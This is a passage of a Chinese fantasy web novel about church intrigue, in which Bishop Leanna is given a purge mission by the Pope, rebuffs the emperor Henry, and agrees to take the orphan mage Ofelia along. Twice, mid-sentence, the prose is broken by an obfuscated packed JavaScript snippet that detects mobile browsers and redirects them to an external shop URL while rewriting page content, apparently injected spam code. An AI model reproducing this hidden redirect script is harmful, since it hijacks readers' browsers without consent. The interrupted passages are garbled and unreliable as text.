“如果莱安娜主教这么棘手,您当年为什么要和她联手呢?我们扶植另一个家族取代艾夫忒宁不是更加稳妥?” 维克多笑而不语,放下了帘子。 “坦诚地说,当年的合作是个错误。” 他撑着下巴盯着克里斯。 “如果知道她现在会变成这样,我当年就不该答应她的合作提议……” 他眼神忽然变得更加锋利。 “不,不止这样,我当年就该杀掉她的。” 他笑着喃喃自语道。 “可惜啊,良机已失。” 克里斯已经解开了疑惑,一看自己这位上司已经隐隐有些恼意,很合时宜地岔开了这个有些微妙的话题。 “莱安娜主教固然很特殊,但您可不是文森特那种弱者,有您坐镇,她影响不了我们的计划,而且她现在也答应了短期合作,想必事情会顺利进行的。” “现在我们要做的就是等阿纳托利这群人到圣都。然后给他献上一份上任大礼,我要让他知道防御司司长的位置到底多不好坐,他最好不要插手我辖区魔兽潮和魔导器的事情。”他笑着看向窗外。 8. 教皇的任务 维克多和克里斯打着魔兽潮的算盘时,莱安娜正在思索对策。 “引维克多入局这一步成了,他为了保护自己的敛财的生意、之后会协助阻止阿纳托利前往东区,也算是和我有共同目标,他如果愿意出资的话,新型魔导器的研发之后也更······” 莱安娜正思索着,第二位来者——教皇的神侍露西不知道什么时候已经来到了她身边。 “莱安娜主教,虽然按理说这是您的休假时间,但是教皇陛下要见您,请您立即与我出发前往维曦神殿。” 露西的语气很恭敬,但言语间的内容却容不得商量,莱安娜心里一沉。 “遵命。” 她起身准备跟随露西出发,露西清楚地看到她起身时抓着着身边的桌沿,指尖发白。 “重伤未愈就立刻和维克多闹了一场,现在还要去教皇那领新任务,怎么吃得消。” 露西盯着她单薄的身影和苍白的脸色,出于对晚辈的关心不自觉地皱起眉。 “我扶着您吧,莱安娜主教。” “谢谢您的好意,但我现在还没有虚弱到那个地步,您的臂弯还请为我保留到面见教皇之后。” 她冲露西礼貌地微笑。 露西点了下头,然后给莱安娜带路。 “我的示好似乎被理解成同情了·····” 背对着莱安娜的露西一边想着,一边抿起了嘴角。 两人坐车前往维曦神殿,在进入神殿大门前,露西停下了。 “进去吧,莱安娜主教,接下来的谈话我无权旁听。” “好的,感谢您。” 莱安娜正走上阶梯,露西却再次叫住了她。 “莱安娜主教,教皇今日应该是为了求证您对于北方事务和暗杀一事的态度,教皇也知道您与维克多见了一面,祝您顺利。” 莱安娜因为惊讶微微睁大了眼睛。 “感谢您的好意提醒,我铭记于心,日后还要拜托您。” 露西展露出了一个善意的微笑,微微点头示意,随后目送莱安娜进入了维曦神殿。 “露西是维斯特利亚教皇的人,依靠他人权力的存活的传声筒和工具人有了自己的想法······如果露西都不再保持中立,那么维斯特利亚的健康状况已经非常堪忧······或者,其实露西并不是教皇的人?” 莱安娜一面思索,一面穿过长廊,守卫帮她拉开了房间的门。 门扉被拉开,莱安娜看见了轮椅上的维斯特利亚,她正坐在小圆桌前,上面放了几道简单的茶点,和两杯茶。 房间的外墙有一面是玻璃,因而整个房间盛满了阳光因而格外明亮,维斯特利亚是个喜欢花草的人,室内里面还水植了不少色彩明艳的蔷薇、玫瑰、大丽菊。看着一派温馨美丽的氛围。 当然,也只是看起来。 “不知道多少人都死在这。” 莱安娜一边想着,一边走上前去。 “拜见教皇陛下,愿女神与您同在。” 她匍匐在地,额头紧贴着冰冷的大理石地面,一丝不苟的礼节总是让她看上去那么虔诚。 维斯特利亚看着莱安娜,带着她一如既往和蔼的微笑。 “起来吧孩子,来,坐我对面。” “感谢您的仁慈。” 莱安娜缓缓起身,伤口虽然在两次治疗中被强行愈合,但残留的魔力仍然会有疼痛的后遗症,她尽可能放慢自己的动作,以此来缓解疼痛。 维斯特利亚上下扫视着这位看似虔诚的信徒。 她因为疼痛下意识的小动作维斯特利亚看在眼里,但哪怕是这种情况下她的礼节无可挑剔。 “绝佳的服从性,良好的执行力,没有维克多的傲慢,贝拉的稚气,不用担心受到世家贵族的影响……简直是完美的候选人,如果她再少一点那些不切实际的想法……” 维斯特利亚想到这里,眼神不禁变得凌厉起来。 莱安娜一直没有直视她的眼睛,直到带着淡然平静的目光坐到了对面,才缓缓地看向维斯特利亚,这孩子眉目柔和,目光如水,努力地表明着自己的乖顺,这样的注视无论是否发自内心,维斯特利亚都非常满意。 “我听科萨特说你的伤已经治愈得差不多了,所以今天叫你过来商量一下事情。” “承蒙教皇陛下关心,因为我受伤的原因想必耽搁了不少工作,我一定会努力弥补的。” “你这孩子,我是在追究你的失职吗?这么紧张干嘛?” 维斯特利亚打趣道,莱安娜配合她笑起来。 “不过,你这伤,你怎么想的。” 莱安娜意识到谈话已经进入正题了。 “您知道,我研究应用魔法多年,说来惭愧,我不知道袭击我的是什么魔法。” 她为难地摇了摇头。 “而且哪怕再出现一次,我也不知道应当如何防御,我们不清楚这人是谁,也不知道他的目的,如果这个袭击发生在别的······” “不会了,这个袭击不可能还会再发生。” 维斯特利亚斩钉截铁。 “为什么?” “你在接受治疗时,女神大人已经做出断言。女神大人全知全能,我自然相信她的判断。” “虽然不知道其中玄机,但是只要不发生第二次就已经是万幸了,毕竟我也受不起第二次折腾了。” “但是还有个问题,莱安娜,你怀疑过维克多吗?” 维斯特利亚教皇没有向往常那样绕弯子,这倒是让莱安娜倍感意外,她知道直接给出任何回应维斯特利亚多疑的性子反而不会轻信,她沉默了许久,一副深思熟虑结束的样子,这才开口。 “其实,事发的时候我怀疑过,但是现在我觉得不是他。” “哦?为什么你排除对他的怀疑了呢?” “受到攻击的时候,他就站在我前面不远,四周没有其他人,我下意识就怀疑到他头上······但是我听说是他第一时间送我到阿萨特主教那里紧急治疗的。如果他想对我出手,打击成功后哪怕做戏也可以等我伤情进一步恶化再送医,而且最重要的是,袭击我的时候,身边只有他一个人,凶手怎么会把自己放在如此可疑的处境。” “你说的这些,是你自己想的,还是见了维克多之后顿悟的呢。” 看来露西之前所说不假,维斯特利亚的眼线比她想象得更多。 莱安娜心里一琢磨,维斯特利亚向来不在意自己和维克多往日的针锋相对,只要不影响这位教皇的安排,维克多和自己就是扯皮扯上三个月,哪怕在维曦塔打起来,她也无所谓。 为什么在这件事情上如此在意自己对维克多的态度。 “或许她在意的并非是我的态度,而是维克多是否已经拥有了左右我态度的可能性。” 她怕莱安娜对维克多敌意太重,更怕她忽然间没有了敌意。 维克多在袭击这事上有重大嫌疑,而莱安娜在和他见了一面之后就对外帮他说好话了,站在维斯特利亚的角度看,就像是二人达成了什么合意,莱安娜将会服从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046828|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于维克多,这是维斯特利亚不可容忍的事情。 揣测着维斯特利亚的心理,莱安娜决定好好反其道行之。 “维克多主教和我确实见了一面,不过他只是来探望我的伤情,以及他也知道自己有嫌疑,所以想第一时间来找我澄清,我认为他的解释有一定的道理。” “莱安娜,我希望你可以说出你的真实想法,目击者只有你和维克多,你的判断对我们的调查非常重要。” “我相信这次不是他,这就是我的真实想法。” “好吧。” 维斯特利亚叹了口气,脸上的神情更加复杂,显然莱安娜的回答并没有让她满意。 莱安娜很清楚,怀疑的种子已经在维斯特利亚的心里种下,那么接下来她只要在适当的时候顺水推舟就好。 “那一切等调查结果出来之后再议吧,我的神使团会和皇帝铁卫联合调查。” 莱安娜神色一变,维斯特利亚敏锐地捕捉到了。 “看来,你还不知道?” 她若无其事地抿了一口茶。 “我……的确不知,怎么会?为什么皇帝铁卫会介入这件事?按道理这并非属于他们的职权范围。” 莱安娜对此事感到很不安,维斯特利亚费尽心计才按住王室这么多年,怎么会突然愿意和王室合作? “倒也不必这么惊讶,如果硬扯的话,袭击发生在王庭会议室,他们倒也不至于一点管辖权没有;而且那孩子似乎还是想借着和你的关系介入这件事,毕竟你算他曾经的魔法老师。” “不,我没有在他的试炼报告上签字,从法律上而言,我和他没有师生关系。” 莱安娜语气冰冷,她知道自己要在此划清界限。 教廷和王室本就是界限分明的立场,维斯特利亚教皇耗费半生心血才一直维持着教廷的绝对权威,她需要的是一位坚定维护教会利益的代言人。 “你反应也不用这么大,我知道你和亨利在之前的魔导器公有化方案上闹得不太愉快,但他毕竟有皇帝的名头,你表面还是要做足。而且哪怕他真的想借这次机会在我的眼皮子底下搞小动作,也还得看有没有这个本事。这次让他碰一鼻子灰,之后听话点就行,哈雷皇帝之后,王室都不够正眼瞧的,没落了几十年的东西,一个孩子又想翻起什么水花?” 她笑着,示意莱安娜给她添上茶水。 莱安娜偷偷抬眼瞥了一下维斯特利亚教皇,她此刻气定神闲,但三言两语之间是对王室的极度蔑视。她的眼睛旁边已经爬满皱纹,但眼神却有着年轻人般的野心勃勃。 莱安娜回忆着,维斯特利亚教皇似乎只称呼过哈雷为皇帝,那位想要将魔法师全部控制起来,为其所用的独裁者。 而维斯特利亚当时作为首席魔法师,为了给魔法师们争取话语权,建立起现有的神官制度,和那位独裁者缠斗了半辈子。 “称呼哈雷为皇帝,想来也是对宿敌最后的尊敬和肯定,哈雷都已经死了,太过无能子孙又怎么会让她有赶尽杀绝的敬意呢。” 莱安娜心中默默地想。 “好了,也和你聊了这么多和主题无关的事了,该聊一聊你的任务了。” “我的任务?” “对,我需要你前往西区布伦城区的布鲁城,去那里完成一点清剿工作。” 维斯特利亚的脸上挂着浅笑。 “教皇陛下……” 莱安娜看着维斯特利亚看似鼓励的目光,宛如年长者对年轻人的祝福和期许,但实则不知道打的什么主意。 9. 真心假意 从神殿出来的时候天已经黑了下去,莱安娜走到台阶前没有急着下去。 维曦神殿的平台是看夜景的好地方,可惜今晚飘雪了。 她抬头看着星星点点的雪花,落在地上结成浅浅的白绒毯子,南方下雪不似北境,下得少且温和,就像有一只手在天上筛糖霜一般,轻柔而谨慎。 “听说我不需要给您备车?” 身后传来温和的女声。 莱安娜转身回望,露西神侍从主殿走了出来。 “您都知道了。” 莱安娜笑着说。 “可不是吗,维斯特利亚陛下特地嘱咐了我,让您走回去。” “那您没有帮我求求情?” 她偏过头冲着露西狡黠地笑了 “您还有心思开玩笑啊,莱安娜主教,” 露西笑着看着她,随后转过头,看向刚才莱安娜眺望的星空。 “您到底和教皇陛下说了什么,我已经很久没见过她如此动怒了,甚至下令让您自己走回去,到这份上了谁敢求情。” “我在工作上有些不成熟的想法。” 见她只是轻描淡写地说了一句,露西意识到这个话题是自己不该了解的,笑着将这件事揭过,开起玩笑来。 “之前答应留给您的臂弯就算到下次吧,我怕陪你走一段路,今晚我也要被教皇陛下训斥了。” “能记到下次那可太好了,我翘首以盼。” “您还是祈祷自己早日康复,用不上这个比较好,您还这么年轻,健康状况却已经如此了。” 露西叹了口气,朝莱安娜行了个礼,便转身又走入了神殿。 莱安娜盯着她的背影,收起了笑容,迈进了雪夜。 南方的雪很温柔,雪夜里甚至没有太大的风,但因为湿度的原因,寒气仿佛更加刺骨,但她一边走一边思索着维斯特利亚和自己的对话,竟然感知不到寒冷了。 维斯特利亚计划以布鲁城的魔兽潮为契机开展清除任务。 莱安娜猜测,其一是为了试探她受伤后的实力,能否足以控制魔兽潮,其二强行安排她去维克多的辖区开展治理工作,既像是对维克多的敲打,也像是对二人关系的试探,毕竟维斯特利亚现在正对二人关系过密有所怀疑,最后就是任务本身…… 莱安娜用各种理由反对了这个任务,但这位独裁者一一驳回。最后只是云淡风轻地说。 “莱安娜,好孩子你不该拒绝的。我知道你不想做这件事,但是我建议你接受,你不做也会有别人帮我做,而且,那些人的结局早在数年前就注定了,又何必为他们感到可惜?” 哪怕早就知道对方的本性,仍然会被对方的傲慢与冷血为之震惊。 “你平民出身,因而对那些正常的损耗会比其他主教更加敏感,这一点你应该向维克多学习,不过正因如此,我倒是觉得这个任务你来做反而比其他人更合适。” “我不明白?” “你会更好地帮他们走最后一程的。” 维斯特利亚的看似温厚的笑容在她的脑海里回荡,让她感到不适,头隐约有些痛。 就在她一个人朝北走在大道上时,身后却传来了一阵车轱辘声。 她出神的思考着维斯特利亚的任务,全然没有注意车已经在她的侧后面停下来了, “莱安娜主教。” 有人叫她,她转过头去,然后她就后悔了,非常后悔! 叫她的那人穿着金色的甲胄,是皇帝铁卫。 对方摘下了头盔,莱安娜认出了这是亨利皇帝的亲卫安东尼奥。 她不由得苦笑一下,今天真是走大运,最难缠的三个人都挨个来了。 “这里有亲卫的话,说明那个家伙应该也在车上吧。” 莱安娜心想,面无表情地盯着漆黑的马车。 铁卫走了过来向她微微鞠躬后,抬手示意。 “陛下…陛下他请您过去。” 安东尼奥的语气很紧张,似乎在担心莱安娜拒绝后自己应该怎么交代。 “好啊。” 听到莱安娜脆生生的应答,安东尼奥如释重负。 莱安娜两步走到车窗前,玻璃经过了特殊处理,她无法看见里面的人,但里面的人却可以清楚地观察她的一颦一笑。 “连注视都是有所隐瞒的,又何谈其他的坦诚呢?”莱安娜想道,她冷漠地盯着玻璃半晌,但半晌过去,对方仍没有解开视觉的魔法。 耐心耗尽的她侧过头盯着安东尼奥。 “你们的陛下有什么旨意。” “这个我也不……”没等安东尼奥支支吾吾出来。 窗户的魔法解开了。 “如果主教您愿意的话,我可以顺路送您一程。” 黑发青年在玻璃后逐渐显现,他带着谦和有礼的笑容,发出善意邀请。 “我听说您还没有痊愈,今夜寒冷……” “不必。” 莱安娜斩钉截铁地打断了对方。 “亨利陛下很爱开玩笑,卡特莱宫在南,您顺路顺到北方治疗区。” 她的笑容很柔和,但那双眼睛分明没有一丝敬畏。 “您何必拒人于千里之外呢?我很关心您,听说您遭受袭击后我已经和维斯特利亚进行联合调查了,帮您把凶手绳之以法,指日可待。” 凶手莱安娜心情复杂地盯着他。 “尊敬的陛下,我很清楚,我还没有这么大的面子让内卫替我讨回公道,您需要扩张势力有其他更不错的借口,拿我当挡箭牌,未免有些太狡猾了吧。” 莱安娜冷漠地看着玻璃后的人,对方没有回应她的质疑,而是开口进入了正题。 “教廷内部敌友难辨,甚至这次袭击也颇有蹊跷不是吗?如果某天您在教会感到孤立无援,王庭恭候您的辅佐。” 青年认真地看着她,仿佛无比诚恳。 但莱安娜听了他的话没有任何反应,甚至连厌恶的表情都没有,宛如一颗石子落进了幽深的潭水,没有一点波动。 亨利叹了口气,这是他最后一次尝试。 就在他心灰意冷的时候,莱安娜开口了。 “倒向王庭,难道您就会同意我推动魔法普及化和魔导器改良了吗?” 她语气平淡,但内容对于亨利而言是极其尖锐的。 这次轮到亨利沉默了,他有些无奈地看着莱安娜。 “我就知道。” 哪怕早已认清事实,再次印证的时候她仍会有一丝难以抑制的失望。 “既然如此,我们暂时没什么好谈的,如果您没有其他事情,我先告退了,女神祝福您。” 她行了个标准的礼,风微微吹动着她的棕发,头顶上的细碎雪花也因为这阵微风摇落了一些,她转身离去,一如过往,没有一点犹豫。 亨利从窗户中探出头。 “莱安娜主教!请等一下。” 她停下了脚步,转过了头。 “您还有什么事?” 她的眼神中尽显冷漠。 “我们最后同行一次吧,我保证不谈公事。” “您到底想说什么?” “至少我的关心从来不是假的。” “还重要吗?尊敬的亨利陛下,事已至此。” 莱安娜疲惫地叹了口气。 “另外,您不是关心我,教皇陛下在圣都的眼线你我心知肚明,此时和我走近了对我有什么影响,对您有什么好处,您心里一清二楚。” 莱安娜仿佛出了口恶气。 她的话没有给对方留半点余地,亨利不再言语,只是沉默地看着眼前有些单薄的身影。 “为了我们彼此都能避免不必要的麻烦,此后路程你我不必同往。” 她把话说得毫无余地,但亨利似乎并不打算结束二人的对话。 “一定要这样吗?老师?” 莱安娜抬起头,有些惊讶地瞥了他一眼。 错愕转瞬即逝,她的目光只匆匆掠过,不曾有停留半分。 “陛下失言了。”她微微颔首。 莱安娜的态度已经很明确了,但他仍不想放弃。 “如果我当时没有选择成为候选人,如果索沃伦地区的悲剧没有发生,您是不是就不会……” “您已经做了选择,而我也做了选择。”莱安娜斩钉截铁地打断了他。 “所以,尊敬的陛下,就像我刚才说的,为了我们彼此都能避免不必要的麻烦,此后路程你我不必同往。” 她转过身去,将亨利和安东尼奥甩在背后,亨利没有再说一句话,只是看着她的影子越来越小,消失在了雪中。 …… 等莱安娜回到疗养区的时候已经是深夜了。 她刚进屋,一个小家伙就撞入了她的怀抱。 “莱安娜你可算回来了……” “奥菲莉亚!你怎么来了?” 莱安娜蹲下身,摸了摸这孩子的头。 是塞拉带我来的,她说你已经醒了,我可以来看······塞拉说你生病了,生病了为什么还会出门呢?你刚才去哪里了?” 她叽叽喳喳地问了一大堆问题,莱安娜无奈地笑着。 奥菲莉亚是她在魔兽潮灾区救下来的孤儿,这孩子身上有的细微魔力,因此在送她去了一所不错的福利院之前,莱安娜就告诉过奥菲莉亚,她有成为魔法师的天赋,并承诺了如果她未来有兴趣成为魔法师可以来圣城找自己。 成为魔法师的路并不轻松,走上这条路往往意味着会被魔力束缚一生,莱安娜认为自己并没有资格代这个孩子作出决定,因此她在做好后续的工作后就离开了。 没想到几年后这孩子就孤身一人主动找到了她。 一个九岁的小孩子竟然自己一通胡乱摸索,觉醒了魔力,然后辗转来到了圣都。 “我想成为魔法师。” 来圣城的路上并不顺利,一路的颠沛流离让她看上去灰头土脸,但说这话的时候,那双蓝莹莹的眼睛执着地仿佛在发光。 那时候她已经从艾弗特宁的宅邸中搬了出来,奥菲莉亚和她一起在分配给神官的居住的小房屋中生活。 “你的问题真多,奥菲莉亚,我当然是去工作了。” 她一边回答着,一边忍不住捏了捏奥菲莉亚那圆乎乎的小脸蛋。 “是这次的工作很麻烦吗?你比平时还要难过······” 她有些不满地嘟囔着,然后突然闭嘴,似乎反应过来自己说漏了什么。 “奥菲莉亚·赫尔瑞。”莱安娜的语气骤然冷了下去,严肃了起来。 “你又随便用感知魔法来感知我的情感,我说了多少次,你时不时用幻术来给我开玩笑都可以,但是不能使用感知魔法!这对你的负荷很大,你到底听没听进去······” 奥菲莉亚理亏地低下头去,每次她一使用感知魔法莱安娜就会生气。 “算了,总之不许在其他人面前使用,记住了吗?” “记住了······” 她还是带着一股不服气,但还是在口头上假模假样地服软了。 “快去赶紧洗漱好然后休息,今天太晚了,小心你长不高。” 她推着奥菲莉亚走向浴室。 简单收拾下后,两人挤在了并不算宽的病床上。 奥菲莉亚正是无忧无虑的年纪,只要不使用感知天赋,她的世界并不会有让人彻夜难眠的烦恼,很快便进入梦乡。 看着她那张没有烦恼的,粉扑扑的脸颊,听着均匀的呼吸声,莱安娜的内心也无比平静,但伴随而来的还有担忧。 奥菲莉亚擅长两种很少见的魔法,都基于一种天赋——共感。 这种稀有的天赋能感受到细微的魔力波动,拥有这种才能的人在过去的历史中通常都是精神类魔法的高手,比如大魔法师洛林。 如果这个感知天赋止步于此就好了,但奥菲莉亚不仅因此擅长幻术,她甚至能通过这种波动感受到人的情绪,这种魔法还有种广为人知的名字——“读心”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046829|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>幻术或许可以成为她的立身之本,但读心在莱安娜看来可就算不得什么好的天赋了,一旦这个能力被其他人知道,说不定还会给奥菲莉亚招来杀身之祸。 而且不论安全问题,如果无时无刻都在听别人的心声,那自己的心声还能听见吗? 莱安娜很担心随着奥菲莉亚魔力的增长,对魔力感知能力的增强,万一到那时侯她能感知到的不仅是笼统的情绪,还有真正的心声该怎么办呢? 她很有天赋,魔力增长速度简直让人啧啧称奇,但在自己的心灵尚未成熟之前就过早地洞悉人心并不是一件好事,这也是莱安娜一直限制她使用感知魔法的原因。 “但一味的限制和禁止并不是好的办法,今晚是她自己说漏嘴了,最近不知道偷着用了多少次,我也不可能永远拘着她。” 她一边思索着一边轻柔地帮小家伙梳理了搅成一团的头发。 “按照目前的成长速度,这两年她完成第二次魔力突破后,读心的能力应该会更加强大。要尽快让她理解自己天赋,坚定内心,才能在能力彻底觉醒之后保持自我。” 莱安娜暗下决心。 “但具体该怎么办呢?” 她发起愁来,一愣就过去了大半夜。 奥菲莉亚睡得很熟,但莱安娜焦虑得没有一点睡意,除了奥菲莉亚急需引导,关于维斯特利亚教皇的任务她也没有一点头绪。 她干脆起身,去书桌前看起了有关布鲁镇魔兽潮的报告,企图寻找一些破局的出路。 在她离开后不久,奥菲莉亚敏锐地察觉到莱安娜的离去,在黑暗中睁开了眼睛,她摸到了书房门口。 透过门缝,她看见莱安娜正在阅读什么东西,暖黄色的灯光映在她的脸上,她眉头紧皱,满脸愁容。 奥菲莉亚深吸了一口气,仿佛下定了什么决心,推门而入,莱安娜惊讶地抬头看着她。 “奥菲莉亚?我吵醒你了吗?” 她放下手里的报告走了过来,眼里闪过歉意。 “没有,莱安娜,我是自己醒过来的,我有事情要和你说。” 她低着脑袋,攥紧了睡裙。 “你这次任务带上我吧!” 她期待地看向莱安娜。 “不行……” 没等莱安娜说完,奥菲莉亚打断了她。 “我就知道你会这么说。” 她嘟囔着。 “但是我不是心血来潮,或者在胡闹。虽然不知道为什么,但我知道莱安娜你其实并不希望我的感知魔法继续突破……明明魔力突破是一件好事,但是我发现每次我突破的时候,你的眼神总是充满担忧。” 她一边说着一边低着头看向了自己的脚尖。 “但我其实在一个月之前感知魔法就已经突破了。” 莱安娜只觉得心被攥紧了,这孩子为了不让她担心一直瞒着她,选择一个人面对魔力突破时的痛苦。 她蹲下身抱住奥菲莉亚。 “抱歉,奥菲莉亚。” 奥菲莉亚也用手轻拍她的肩膀,仿佛安慰她一般。 “莱安娜不要露出这么难过的表情,你为什么要道歉呢?” “不,我不该把你完全当成一个小孩子,如果我早些告诉限制感知魔法的原因,你就不会有心理负担,也就不必独自一人面对魔力突破了。” “没关系的,莱安娜,我已经突破成功了啊,大家都说我是天才,而且我一定会成为比你还要厉害的魔法师,所以不用这么担心。” 她笑盈盈地看着莱安娜,仿佛有生命危险的蜕变对她而言不过是睡了一觉那样简单。 但怎么可能呢? 莱安娜将她抱得更紧了。 “所以我现在其实已经算是中阶魔法师了,总该帮得上莱安娜的忙吧……” 她抓着莱安娜的袖子摇晃,但莱安娜沉默着没有说话。 “你别不理我莱安娜……” 她嘟囔着,莱安娜沉默的时候是最可怕的。 在思考了一会儿后,莱安娜仿佛整理好思绪。 “你现在的感知能力,能感知到哪种程度?” “可以清楚地感受到人的情绪,对精神力没有防备的人可以模糊地探知回忆。不过只能看到一些带有强烈情感的片段,但感知到具体心声这种程度还没法做到。” 奥菲莉亚尽可能详细地描述自己突破的成果,莱安娜既然开口问了,就说明这件事她并没有真正地生气。 “这样的感知,配合你的幻术,你构筑的幻境会更加直击人心。而且听不见心声的话……至少目前来说,是个难得的好消息。” 她心中一块大石头落下,不自觉地漏出了释然的笑容,看到莱安娜笑了,奥菲莉亚也松了口气。 “等等。” 莱安娜联想到了奥菲莉亚的能力,构筑幻境。 她的目光落到了桌上布鲁城的投影上。 “没准奥菲莉亚真的可以帮大忙……而且以她现在的成长速度,也只能尽快带她实践,学会合理运用魔法,毕竟留给我的时间也不多了。” 莱安娜暗自想着。 她叹了口气,也下定了某种决心。 “好吧,这次任务你可以和我一起去。” 奥菲莉亚发出惊喜的欢呼,扑向莱安娜。 “好耶!太好了莱安娜!” “别高兴得这么早,执行任务的话你必须要服从指令,明白吗?” 莱安娜严肃地警告她,不过这孩子正在高兴的劲头上,似乎完全没有听进去。 “这个任务很严肃,奥菲莉亚,你不是去玩的,如果在这个过程中感到勉强一定要和我说。” “没事的,莱安娜,我不害怕!我可以做什么?我的任务是什么?我会和你一起行动吗?” 哪怕听了警告她仍然满眼都是期待,没有一点退缩。 “不,你会和我先分头行动,我需要你先到布鲁城,神侍塞拉会保护好你的。” 她看着布鲁城的地图,像是在哀悼。 10. 躲灾避祸 在泰西防线,露比和阿纳托利已经沟通完毕,她正准备去找自己的那两个倒霉学生。 亚瑟和罗杰此时正待在分配给他俩的休息室里。 房间宽敞又舒适。 亚瑟正毫不顾忌形象地瘫在床上,准备在进食正餐之前大睡特睡。 正当他困意渐起的时候,罗杰冷不伶仃地开口了。 “我有种不祥的预感······” “感觉不好就收起你的破感知,我还要睡觉呢······我这两个月可没怎么睡过好觉。” 他嘟囔着。 “因为那两次谋杀?” 罗杰同情地瞥了他一眼。 “我以为你不会害怕的。” 听到罗杰这样说,亚瑟被刺激得非常清醒,一下子直起身,朝罗杰丢了个枕头。 “谁怕了,我当然不怕,但是总要费精神防着吧······要是可以直接找安全司的人报案就好了。” “不可能,本家现在有贝拉主教坐镇,你现在去报案,别到时候谋杀没查清,倒被扣一个污蔑主教的罪名。” “唉,我当然知道啊,不然也不会躲到现在,太窝囊了。”他叹了口气,罗杰仍然在继续思考。 “你本家的人到底为什么追杀你?你再回忆一下是不是得罪了什么不该得罪的人,做了什么不该做的事。” 他一面整理着有些发皱的枕套,一面回答道。 “我们已经回忆过多少次了,不可能!我就去过本家两次!也没闯什么祸······” 罗杰想了想,亚瑟的性格着实欠揍,但没什么坏心眼,能干什么值得别人追杀的事? 他叹了口气,想不明白。 “算了,至少泰西防线是安全的,你的本家在南方再手眼通天也不敢来泰西防线抓你,先好好休息吧,没准之后你可以想起什么呢?动没动不该动的东西,是不是去了不该去的地方?说了不该说的话?或者听到了什么奇怪的事。” 他将枕头扔回到了亚瑟的床上。 “诶,你提醒我了。” 亚瑟突然爬了起来。 “罗杰,我漏了一件事,在我第一次去本家的时候遇到过贝拉主教,她那会儿也就十二三岁吧,一个人在池塘边偷偷哭,我就把我的松饼分了她一半,她还给我说了谢谢呢。” “我觉得贝拉主教不会因为别人看见她哭过就暗杀对方的。” “我也觉得,而且她之后还说我的笑话很有趣,她说我是第一个不怕她的人。” “怕?为什么?”罗杰捕捉到了疑点。 “就是大家都知道的,贝拉主教很早就有治疗魔法的天赋,但当时似乎还不太能妥当控制自己魔力,患上了魔斑症,脸上长了一些色块。” “那不是色块,那是因为魔力循环出问题导致的色素堆积。”罗杰纠正道,随后他意识到了什么,突然发问。 “你是不是在那时候对人家的外貌指指点点了,你这不是戳人家的痛处吗!” “我怎么会干这么没品的事情!没有!而且不就有几个黑点和纹路嘛,我当时只是注意到了她在哭······而且她当时也没有生气啊,她不可能讨厌我,我跟你说,我最近一次去本家还遇到她了,贝拉主教去了奥利弗学院之后病已经痊愈啦,我还夸她变漂亮了呢!她非常温柔,还和我分享了不少学习魔法的窍门。所以我一直都觉得不是贝拉主教要杀我,说不定是本家其他人。” 罗杰放下了记录的笔,反复阅读了下,确实没有发现什么疑点。 贝拉主教专修治愈魔法,常年在前线救死扶伤,并且待人也比较温和,在外界口碑一直很好,不可能因为别人见过自己长魔斑时候的脸就要灭口,太疯狂了。 但亚瑟第一次去本家也没有闯过什么祸······难道除了这些事情以外,亚瑟还在别的地方得罪过本家的人? “真是要命······” 罗杰痛苦地摇了摇头,将笔记收了起来。 “我也想不明白,算了,这几天你抓紧好吃好喝,之后安安心心回南方等死吧。” “喂,你能不能说点好的!” “没办法啊,查到了杀手和本家有关系,但是找不到是谁为了什么事情杀你,哪怕有误会也解除不了,露比神官也不可能全天候保护你,我之后要单独参加遴选,也不可能天天和你待在一起;你过几天回南方终究是要面对这个问题,总不可能露比神官有办法把你一直留在泰西防线吧!” 他话音刚落,就听见门外传来了熟悉的咳嗽声。 “咳咳,我刚来,听你们说想留在泰西防线?” 露比不知道什么时候已经摸到了门口。 “老师······”亚瑟正要开口,罗杰抢先道。 “不是我啊,是亚瑟想留在这里,他说不想回圣都给老师工作了,不像我。” 亚瑟一脸嫌弃地看着这个当面一套背后一套的人,明明加班的时候骂露比两人都有份。 “或许愿望要成真了。”露比笑着点了点头。 罗杰:? 亚瑟:? “别一脸不敢相信嘛,阿纳托利团长听说两位都是人才,说话又好听,准备留你们在泰西防线呢,恭喜两位找到新工作!”她鼓起了掌。 “开什么玩笑!” 两人异口同声地冲到了露比面前,这是这个月他们听到的最糟糕的笑话。 露比简单地解释了之后,两人沉默了好一会儿,明白了自己将会被留在泰西防线的处境。 亚瑟很快就明白这对于他来说是当下保命的一条路,自然没有多说什么,只是还需要一点时间消化,眼睛咕噜噜地打转。 但罗杰的显然对这个安排并不满意。 “老师,我知道你将亚瑟留在这里的用意,但是我为什么也要留在泰西防线?” 他的语气仍然是礼貌的,但到底是年轻人,眼神里的不满却流露得一干二净。 露比知道这孩子一直上进,魔力天赋虽说差了一些,但其他方面在同龄人中优秀得无可挑剔,圣都很快就会进行下一次神官候补的遴选,罗杰为此准备良久,此时留在泰西防线,在他看来无异于错失大好前程。 “你觉得这件事影响了你参加圣都之后的神官遴选对吗?” 露比没有回答他,而是问了他一个新问题。 罗杰被戳中了心事,坦然道。 “是的,您也知道,我没有什么背景,天赋也一般,神官试炼主要看魔法水平,我根本没有机会入选,神侍遴选是我晋升的唯一机会······这个任务必须要我陪亚瑟执行吗?” 